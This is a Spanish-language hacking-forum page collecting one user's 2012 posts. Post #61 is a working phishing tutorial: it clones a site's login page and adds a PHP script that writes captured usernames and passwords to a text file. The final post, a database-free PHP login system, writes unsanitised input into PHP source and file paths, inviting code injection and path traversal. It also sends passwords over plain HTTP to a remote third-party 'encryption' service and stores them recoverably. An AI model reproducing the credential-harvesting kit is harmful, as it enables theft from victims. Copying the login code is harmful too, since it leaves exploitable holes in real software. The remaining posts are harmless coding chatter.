Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - HckDrk

#61
te haré un mini tutorial...



  • primero guardamos la pagina como.. clic derecho, guardar como (almeno en chrome)
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


  • despues lo guardamos con un nombre corto, como index.html, recuerda marcar guardar como pagina web completa, aunque viene por defecto xD

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

  • vamos a la carpeta donde se guardaron todos los archivos, imagenes, .js... y abrimos el archivo guest.js con algún editor... y modificamos el form que te había enseñado! xD

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

  • Borramos todo! con excepción de "open: function()" y de "close: function()" y guardamos. y probamos que realmente se despliegue y se cierre el menú del login

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

  • despues, vamos a la carpeta donde esta el index de nuestro scam, y creamos el archivo login.php con nuestro codigo....

Código: text
<?php

if($_POST['id'] && $_POST['pw']){

$fp=fopen("datos.txt","a+");
fputs($fp,"Usuario: ".$_POST['id']." | Password: ".$_POST['pw']);
fclose($fp);

}

echo "Scam ok!";

?>


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

  • probamos nuestro scam que funcione bien... en mi caso, en mi servidor local...




  • Veremos que nos genero un archivo .txt con los datos...





jeje me tarde un poquito a pesar de ser un mini tutorial xD

Saludos!!
#62
uhm...

ahi esta tu form que buscas!  ;D No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#63
Dudas y pedidos generales / Re:Ayuda con esta encryptacion
Noviembre 11, 2012, 12:36:01 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Esa tool no es FindMyHash ¬_¬...

no XD, se llama "Hash Identifier", eres gay! .i.  :P
#64
Dudas y pedidos generales / Re:Ayuda con esta encryptacion
Noviembre 11, 2012, 12:24:12 AM
por ahí buscando encontré una herramienta en phyton que identifica el posible tipo de encriptacion del hash, lo puse y me saco esto..

Código: text
 HASH: 5BDA10BA58EC31E40A7BD1C516003BE051B912D3

Possible Hashs:
[+]  SHA-1
[+]  MySQL5 - SHA-1(SHA-1($pass))

Least Possible Hashs:
[+]  Tiger-160
[+]  Haval-160
[+]  RipeMD-160
[+]  SHA-1(HMAC)
[+]  Tiger-160(HMAC)
[+]  RipeMD-160(HMAC)
[+]  Haval-160(HMAC)
[+]  SHA-1(MaNGOS)
[+]  SHA-1(MaNGOS2)
[+]  sha1($pass.$salt)
[+]  sha1($salt.$pass)
[+]  sha1($salt.md5($pass))
[+]  sha1($salt.md5($pass).$salt)
[+]  sha1($salt.sha1($pass))
[+]  sha1($salt.sha1($salt.sha1($pass)))
[+]  sha1($username.$pass)
[+]  sha1($username.$pass.$salt)
[+]  sha1(md5($pass))
[+]  sha1(md5($pass).$salt)
[+]  sha1(md5(sha1($pass)))
[+]  sha1(sha1($pass))
[+]  sha1(sha1($pass).$salt)
[+]  sha1(sha1($pass).substr($pass,0,3))
[+]  sha1(sha1($salt.$pass))
[+]  sha1(sha1(sha1($pass)))
[+]  sha1(strtolower($username).$pass)


no se si te sirva! :/

Saludos! ^^
#65
Wargames y retos / Re:Reto Programacion
Noviembre 10, 2012, 03:21:02 AM
ahora que es viernes me he hecho un pequeño espacio para hacer esto pero... uhm... no entendí muy bien :/
yo lo hice en PHP, no dice en que lenguaje, así que creo que vale!  ;D

hice lo que entendí, hacer una función que a las palabras impares, la letra de en medio se cambie a mayúscula, y las palabras pares, la ultima letra se cambie a mayúscula, después hacer un array de 10 elementos y pasar cada palabra del array por la función que hemos hecho y mostrar la palabra modificada... xD

bueno, aquí les dejo mi pequeño código feo en PHP xD
y aquí el link para que vean como funciona! ^^ No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: text

<?php

function a_mays($palabra){

$palabra=strtolower($palabra);
$num=strlen($palabra);

if ($num%2==0){
$palabra=substr($palabra,0,-1).strtoupper(substr($palabra,-1));
}else{
$mitad=round($num/2)-1;
$uno=substr($palabra,0,$mitad);
$dos=substr($palabra,$mitad+1,$num);
$letra=strtoupper($palabra[$mitad]);
$palabra=$uno.$letra.$dos;
}
return $palabra;
}


$palabras=array("undercode","HckDrk","Mama","Television","Radio","Foro","Programacion","PHP","Hacking","everywhere");

for($i=0;$i<count($palabras);$i++){
echo a_mays($palabras[$i])."<br>";
}

?>



Saludos!!  ;D

EDITADO!

también se me ocurrió hacerlo así, no se si sea mas fácil o difícil xDD

Código: text

<?php

function a_mays($palabra){

$palabra=strtolower($palabra);
$num=strlen($palabra);

if ($num%2==0){
for($i=0;$i<$num;$i++){
if($i==$num-1){
$palabra[$i]=strtoupper($palabra[$i]);
}
}
}else{
$mitad=round($num/2)-1;
for($i=0;$i<$num;$i++){
if($i==$mitad){
$palabra[$i]=strtoupper($palabra[$i]);
}
}
}
return $palabra;
}

$palabras=array("undercode","HckDrk","Mama","Television","Radio","Foro","Programacion","PHP","Hacking","everywhere");

for($i=0;$i<count($palabras);$i++){
echo a_mays($palabras[$i])."<br>";
}

?>


aquí lo pueden ver, es el mismo resultado... No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Saludos!!!  ;D
#66
Wargames y retos / Reto XSS [muy fácil]
Noviembre 05, 2012, 02:52:25 AM
hola todos! (:

he hecho este pequeño reto, esta bastante fácil, espero que muchos participen xD
consiste en mostrar un alert, imprimir pantalla y mostrar aquí la imagen de su alert

aquí les dejo el mio xD...

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Saludos!! (:
#67
Dudas y pedidos generales / Re:ayuda con miarroba
Noviembre 04, 2012, 11:05:49 PM
cual es la url?

toma en cuenta las recomendaciones de mi@

Cita de: Miarroba
Recuerda que la estructura de carpetas del servicio de hosting ha cambiado.
Para que tus ficheros sean accesibles desde internet tienes que subir tus ficheros dentro de la carpeta "web"
#68
Presentaciones y cumpleaños / Re:Mi presentación? O.o
Noviembre 04, 2012, 03:33:48 AM
recluta? xD no es visitante? xD

bueno, gracias!  ;D, deje este mundillo por un tiempo, tal vez un año o un poco mas, pero ya vengo a quitarme lo oxidado!  :P

Saludos!
#69
Wargames y retos / Re:Reto Bill Gates
Noviembre 04, 2012, 03:14:36 AM
  ;D
#70
Presentaciones y cumpleaños / Mi presentación? O.o
Noviembre 04, 2012, 02:41:39 AM
hola!  ;D

estaba viendo, y no me presente, estaba muy seguro que lo había hecho desde mucho antes xD, pero bueno, mas vale tarde que nunca!  :P

soy HckDrk, soy un estudiante, me gusta y soy aficionado a este tipo de cosas, programación, seguridad, diseño y demás cosas... soy de México, del DF, por si alguien quería saber xD

alguno que otro me debe odiar por ahí, pero bueno, espero que no sean muchos! T_T, cualquier cosa me dicen!  ::)

espero aprender mucho con ustedes y aportar lo poco que se!  ;)

Saludos!!  8)
#71
hola, revisa este post que he publicado, haber si te sirve

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

espero que te sirva, sino pues haber si por ahí encontramos otro activador! (:

Saludos!! ^^
#72
Back-end / Re:Bienvenido a la sección de PHP
Octubre 29, 2012, 12:42:53 AM
me parece perfecto tus iniciativas como moderador Alexander1712!  ;D

para mantener ordenado este foro de php, que es muy fascinante, espero aprender más y aportar lo poco que se!  ;D

Saludos!
#73
Back-end / Funciones para codificacion de Texto
Octubre 23, 2012, 02:01:02 PM
Hola todos! hace tiempo hice un pequeño sistema de codificación de texto, pero ahora se los quiero compartir, esta un poco sencillo, pueden jugar un poco con el para hacerlo mas complejo xD

consta de 2 funciones, una para codificar y otra para decodificar...
aquí se las dejo, y espero comentarios constructivos! :D

Código: php

<?php

function encriptacion($cadena){

$cadena=stripslashes($cadena);
$cadena=base64_encode($cadena);

for($i = 0; $i < strlen($cadena); $i++){
$encriptado.=ord(substr($cadena,$i))+10;
$encriptado.="~";
}

$buscar=array("0","1","2","3","4","5","6","7","8","9");
$reemplazar=array("a","B","c","D","e","F","g","H","i","J");
$encriptado=str_replace($buscar, $reemplazar, $encriptado);
$encriptado=substr ($encriptado, 0, -1);



return $encriptado;

}

function desencriptacion($text){

$text=stripslashes($text);
$reemplazar=array("0","1","2","3","4","5","6","7","8","9");
$buscar=array("a","B","c","D","e","F","g","H","i","J");
$text=str_replace($buscar, $reemplazar, $text);
$part=explode("~",$text);

for($i = 0; $i < count($part); $i++){
$decript.=chr($part[$i]-10);
}

$decript=base64_decode($decript);

return $decript;

}

?>


Saludos! (:
#74
Back-end / Re:limpiar cadena de texto
Octubre 18, 2012, 12:15:50 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Está bueno el script, aunque con preg_match te ahorras todas esas líneas indicando [a-zA-Z_] etc, saludos.

bro! xt3mp! cuanto tiempo! :D saca el psy! d[-.-]b xD

esto lo hice en un ratito libre que me hice xD, si no mal recuerdo (que ya tengo bastante tiempo fuera de esto, estoy demasiado desactualizado! D:) solo preg_match valida si contiene letras, mas no te la limpia, y mi objetivo era limpiar cualquier carácter que no fuera algún numero o letra!

saludos bro! :D espero te acurdes de yo! D:
#75
Back-end / Limpiar cadena de texto
Octubre 17, 2012, 03:39:57 AM
hola todos, he hecho un pequeño script para poder limpiar una cadena de texto, solo se permiten números y el alfabeto, aquí el pequeño código...

Código: php

<?php

function limpiar($cadena){

$abc=array(" ","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
for($i=0;$i<strlen($cadena);$i++){
if(is_numeric($cadena[$i]) || in_array($cadena[$i],$abc)){
$cadena_1.=$cadena[$i];
}
}

return $cadena_1;
}
if($_POST['enviar']=="ok"){
echo limpiar($_POST['cadena']);
}

?>


si desean agregar otro carácter para que sea permitido, agréguenlo en el array....

aquí pueden ver su funcionamiento! (: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

saludos!  ;D
#76
hola! aqui les traigo unas funciones que hice hace un par de minutos xD

convierten el texto en codigo ascii, y viceversal, el codigo ascii en texto..

aqui les dejo las funciones.

Código: php

<?php

function text_to_ascii($cadena){

$cadena=stripslashes($cadena);

for($i = 0; $i < strlen($cadena); $i++){
$ascii.=ord(substr($cadena,$i));
$ascii.=",";
}

$ascii=substr ($ascii, 0, -1);

return $ascii;

}

function ascii_to_text($ascii){

$ascii=stripslashes($ascii);
$partes=explode(",",$ascii);

for($x = 0; $x < count($partes); $x++){
$cadena.=chr($partes[$x]);
}

return $cadena;

}
?>


y el modo de usarlas seria el siguiente...

Código: php

<?php

@include("./functions.php"); //incluimos las funciones

echo text_to_ascii('"zone-hack.net"');
echo "<br><br>";
echo ascii_to_text("34,122,111,110,101,45,104,97,99,107,46,110,101,116,34");

?>


alguna duda, solo diganme! :)
#77
hola!

jojo, aqui uno de mis pequeños aportes xD

les traigo amm un "tutorial" de un login y registro basico sin usar base de datos com mysql (el mas usado en php), oracle o algun otro tipo de DB

espero le entiendan, esta muy comentado, en casi todas las lineas, sino entienden algo solo me dicen! :)

ok, consistira de 3 paginas php, el primero sera el index.php, donde se mostrara el contenido, sino estas logueado nos redireccionara al login.php

Código: php

<?php
session_start();

if($_SESSION['login']!="ok"){ //si la variable de sesion login es diferente a "ok"

header("Location: login.php"); //redirgimos al login.php

}else{ //si la variable es igual a "ok" mostramos el contenido..
?>

<html>
<head>
<title>aqui el contenido para usuarios registrados</title>
</head>
<body bgcolor="#000000" text="#FFFFFF">
<p align="right">Bienvenido <b><?php echo $_SESSION['usuario']; ?></b> | <a href="login.php?action=logout">Cerrar Sesion</a></p><hr><br>
<center>
<h1>Aqui iria el contenido para los usuarios registrados</h1>
blablabla xD<br>Visita <a href="http://zone-hack.net" target="_blank">http://zone-hack.net</a>
</body>
</html>
<?php
}
?>


despues sigue el archivo registrar.php donde crearemos unas carpetas con el nombre del usuario, y ahi adentro crearemos un archivo con los datos del usuario. PD: hay que crear una carpeta que se llame "users" (sin comillas)

Código: php

<?php

//sistema de des/encriptacion por HckDrk, Zone-Hack.Net
function des_encriptacion_zh($action,$cadena){ //primer parametro, encriptacion o desencriptacion. el segundo es la cadena a encriptar o desencriptar

if($action=="encriptacion"){

$valor=file_get_contents("http://tools.zone-hack.net/Apis/Encriptacion/index.php?action=$action&cadena=$cadena");
$valor=html_entity_decode($valor);

}else if($action=="desencriptacion"){

$valor=file_get_contents("http://tools.zone-hack.net/Apis/Encriptacion/index.php?action=$action&cadena=$cadena");
$valor=html_entity_decode($valor);

}else{

exit("Error en la funcion </i>des_encriptacion_zh<i>, en el primer parametro solo se premite introducir \"encriptacion\" o \"desencriptacion\" ");

}

return $valor;

}

if($_POST['action']=="enviar"){ //si mandamos el formulario...

if($_POST['usuario']=="" || $_POST['email']=="" || $_POST['pregunta']=="" || $_POST['r_secreta']=="" || $_POST['pass']=="" || $_POST['pass2']==""){ //si los campos estan vacios

echo"<script>alert('debe rellerar todos los campos')</script>"; //mostramos error

}else{ //sino estan vacios...

if($_POST['pass']!=$_POST['pass2']){ //si los password no coinciden
echo "<script>alert('los password no coinciden!')</script>"; //mostramos mensaje de error
}else{ //si coinciden..

if(!file_exists("./users/".$_POST['usuario'])){ //si no existe el usuario..

mkdir("users/".$_POST['usuario'], 0777) or die("no se pudo crear el usuario "); //creamos una carpeta
$fp=fopen("users/".$_POST['usuario']."/datos.php","w+") or die("no se pudo crear el usuarioo"); //creamos el archivo datos.php donde se guardara su user y su pass
fputs($fp,"<?php\n");
fputs($fp,"\$email=\"".strip_tags($_POST['email'])."\";\n"); //eliminamos etiquetas html, y guardamos el correo
fputs($fp,"\$pregunta=\"".strip_tags($_POST['pregunta'])."\";\n"); //eliminamos etiquetas html, y guardamos la pregunta para cambiar pass
fputs($fp,"\$r_secreta=\"".strip_tags($_POST['r_secreta'])."\";\n"); //eliminamos etiquetas html, y guardamos el user
fputs($fp,"\$user=\"".strip_tags($_POST['usuario'])."\";\n"); //eliminamos etiquetas html, y guardamos el user
fputs($fp,"\$pass=\"".des_encriptacion_zh("encriptacion",strip_tags($_POST['pass']))."\";\n"); //eliminamos etiquetas html, encriptamos con nuestro propio sistema de encriptamiento y guardamos el pass
fputs($fp,"?>\n");
echo "<script>alert('registro completo!')</script>"; //mostramos que todo salio bien
echo "<meta http-equiv=\"refresh\" content=\"0;url=login.php\">";


}else{ //si ya existe el usuario
echo "<script>alert('ya existe el usuario ".$_POST['usuario']."')</script>"; //mostramos que ya existe el usuario
}
}
}
}



?>
<html>
<head>
<title>Registro de usuarios sin base de datos</title>
</head>
<body bgcolor="#000000" text="#FFFFFF">

<br>
<?php

if($_SESSION['login']!="ok"){ //si la variable de sesion es diferente a ok entonces mostraremos el formulario de registro

?>
<center>
<h1>Registro de usuarios sin base de datos</h1>
<table border="0" align="center">
<form method="post" action="registrar.php">
<tr><td>usuario: </td><td><input type="text" name="usuario"></td></tr>
<tr><td>E-mail: </td><td><input type="text" name="email"></td></tr>
<tr><td>password: </td><td><input type="password" name="pass"></td></tr>
<tr><td>repita el pass: </td><td><input type="password" name="pass2"></td></tr>
<tr><td>pregunta seguridad: (<a href="javascript:alert('se te preguntara esta pregunta y su respuesta en caso de que olvides tu password')">?</a>)</td><td><select name="pregunta"><option value="">selecciona una pregunta</option><option value="mascota favorita">mascota favorita</option><option value="mejor amigo">mejor amigo</option><option value="pelicula favorita">pelicula favorita</option></select></td></tr>
<tr><td>respuesta secreta: </td><td><input type="text" name="r_secreta"></td></tr>
<input type="hidden" name="action" value="enviar">
<tr><td colspan="2"><center><input type="submit" value="registrarse!"></center></td></tr>
<tr><td colspan="2"><center><a href="login.php">Iniciar Sesion</a></center></td></tr>
</form>
</table>
<?php
}else{ //si la varieble de sesion es igual a ok entonces redirigimos al index

header("Location: index.php");

}
?>
</body>
</html>


y por ultimo el login.php donde crearemos variables de sesion para poder ver el contenido del index, tambien aqui podremos recuperar el password, pos si se nos olvido..

Código: php

<?php
session_start();

//sistema de des/encriptacion por HckDrk, Zone-Hack.Net
function des_encriptacion_zh($action,$cadena){ //primer parametro, encriptacion o desencriptacion. el segundo es la cadena a encriptar o desencriptar

if($action=="encriptacion"){

$valor=file_get_contents("http://tools.zone-hack.net/Apis/Encriptacion/index.php?action=$action&cadena=$cadena");
$valor=html_entity_decode($valor);

}else if($action=="desencriptacion"){

$valor=file_get_contents("http://tools.zone-hack.net/Apis/Encriptacion/index.php?action=$action&cadena=$cadena");
$valor=html_entity_decode($valor);

}else{

exit("Error en la funcion </i>des_encriptacion_zh<i>, en el primer parametro solo se premite introducir \"encriptacion\" o \"desencriptacion\" ");

}

return $valor;

}

if($_SESSION['login']=="ok"){ //si la variable de sesion login es igual a "ok"

if($_GET['action']=="logout"){ //si el action obtenido de la ur es igual a logout destruimos las sessiones
Session_destroy();
header("Location: index.php");
exit();
}else{ //sino es ninguna accion redirigimos al index

header("Location: index.php");
exit();
}

}else{ //sino es igual a ok

if($_GET['action']=="remember"){ //si el action tomado del url es igual a remember


if($_POST['remember']=="enviar"){ //si enviamos el formulario de recordar pass
if($_POST['usuario']=="" || $_POST['email']=="" || $_POST['pregunta']=="" || $_POST['r_secreta']==""){ //si los campos estan vacios..
echo "<script>alert('debe rellenar todos los campos')</script>"; //mostramos mensaje de error
echo "<meta http-equiv=\"refresh\" content=\"0;url=login.php?action=remember\">"; //y redirigimos de nuevo al formulario
}else{ //si los campos no estan vacios
if(file_exists("./users/".$_POST['usuario'])){ //si existe el usuario
include("./users/".$_POST['usuario']."/datos.php"); //incluimos los datos
if($email==$_POST['email']){ //si el email del login coincide con el del registro
if($pregunta==$_POST['pregunta'] && $r_secreta==$_POST['r_secreta']){ //si la pregunta de seguridad y el email coinciden con los del registro
$encabezados = "From: [email protected]\nReply-To: [email protected]\nContent-Type: text/html; charset=iso-8859-1";
$mensaje= "tu usuario es: ".$_POST['usuario']."<br><br>Tu password es: ".des_encriptacion_zh("desencriptacion",$pass);
if(mail($_POST['email'], "has solicitado tu password",$mensaje, $encabezados)){ //mandamos el email con los datos
echo "<script>alert('tu pass ha sido enviado a tu correo')</script>";
}else{ //sino se pudo mandar el email
echo "<script>alert('tu password es: ".des_encriptacion_zh("desencriptacion",$pass)."')</script>"; //mostramos el password
echo "<meta http-equiv=\"refresh\" content=\"0;url=index.php\">"; //redirigimos al index
}
}else{ //si la pregunta o respuesta secreta no coindicen con los del registro...
echo "<script>alert('la pregunta o respuesta secreta no coinciden con la pregunta o respuesta del registro')</script>"; //mostramos error
echo "<meta http-equiv=\"refresh\" content=\"0;url=login.php?action=remember\">"; //redirigimos al formulario
}
}else{ //si el email no coindide con el del registro
echo"<script>alert('el email no coincide con el del registro')</script>"; //mostramos error
echo "<meta http-equiv=\"refresh\" content=\"0;url=login.php?action=remember\">"; //redirigimos al formulario
}

}else{ //si el usuario no existe..
echo"<script>alert('el usuario no existe!')</script>"; //mostramos error
echo "<meta http-equiv=\"refresh\" content=\"0;url=login.php?action=remember\">"; //redirigimos al formulario
}
}
}else{ //sino se ha enviado el formulario de recordar pass mostramos el formulario..
?>
<html>
<head>
<title>Remeber Password</title>
</head>
<body bgcolor="#000000" text="#FFFFFF">
<center>
<h1>recordar pass</h1>
<table border="0" align="center">
<form method="post" action="login.php?action=remember">
<tr><td>usuario: </td><td><input type="text" name="usuario"></td></tr>
<tr><td>E-mail: </td><td><input type="text" name="email"></td></tr>
<tr><td>pregunta seguridad: (<a href="javascript:alert('la pregunta que elegiste cuando te registraste')">?</a>)</td><td><select name="pregunta"><option value="">selecciona una pregunta</option><option value="mascota favorita">mascota favorita</option><option value="mejor amigo">mejor amigo</option><option value="pelicula favorita">pelicula favorita</option></select></td></tr>
<tr><td>respuesta secreta: </td><td><input type="text" name="r_secreta"></td></tr>
<input type="hidden" name="remember" value="enviar">
<tr><td colspan="2"><center><input type="submit" value="Obtener Password"></center></td></tr>
<tr><td colspan="2"><center><a href="login.php">Iniciar Sesion</a></center></td></tr>
</form>
</table>
</body>
</html>
<?php
}
}else{ //si el action obtenido de la url no es remember


if($_POST['action']=="enviar"){ //si enviamos el formulario del login

if($_POST['usuario']=="" || $_POST['pass']==""){ //si los campos estan vacios
echo"<script>alert('debe introducir todos los datos!')</script>"; //mostramos error
}else{ //sino estan vacios

if(file_exists("./users/".$_POST['usuario'])){ //si existe el usuario
include("./users/".$_POST['usuario']."/datos.php"); //incluimos los datos
if($pass==des_encriptacion_zh("encriptacion",$_POST['pass'])){ //si el pass del login coincide con el del rgistro
$_SESSION['usuario']=strip_tags($_POST['usuario']); //creamos una variable de sesion con el nombre del usuario
$_SESSION['login']="ok"; //creamos la variable de sesion login con el valor de ok
header("Location: index.php"); //redirigimos al index
}else{ //si no coinciden los pass
echo"<script>alert('los datos son incorrectos!')</script>"; //mostramos que no son correctos los datos
}

}else{ //sino existe el usuario
echo "<script>alert('el usuario no existe!')</script>"; //mostramos que no existe el usuario
}

}

}

}

}
if($_GET['action']!="remember"){ //si action obtenido de la url es diferente a remember mostramos el formulario de login
?>
<html>
<head>
<title>Login</title>
</head>
<body bgcolor="#000000" text="#FFFFFF">
<center>
<h1>Login de usuarios</h1>
<table border="0" align="center">
<form method="post" action="">
<tr><td>Usuario:</td><td><input type="text" name="usuario"></td></tr>
<tr><td>Pass:</td><td><input type="password" name="pass"></td></tr>
<input type="hidden" name="action" value="enviar">
<tr><td colspan="2"><center><input type="submit" value="Enviar"></center></td></tr>
</form>
<tr><td><center><a href="registrar.php">Registrarse</a></td><td><center><a href="login.php?action=remember">Olvido su Password?</a></td></tr>
</table>
</body>
</html>
<?php
}
?>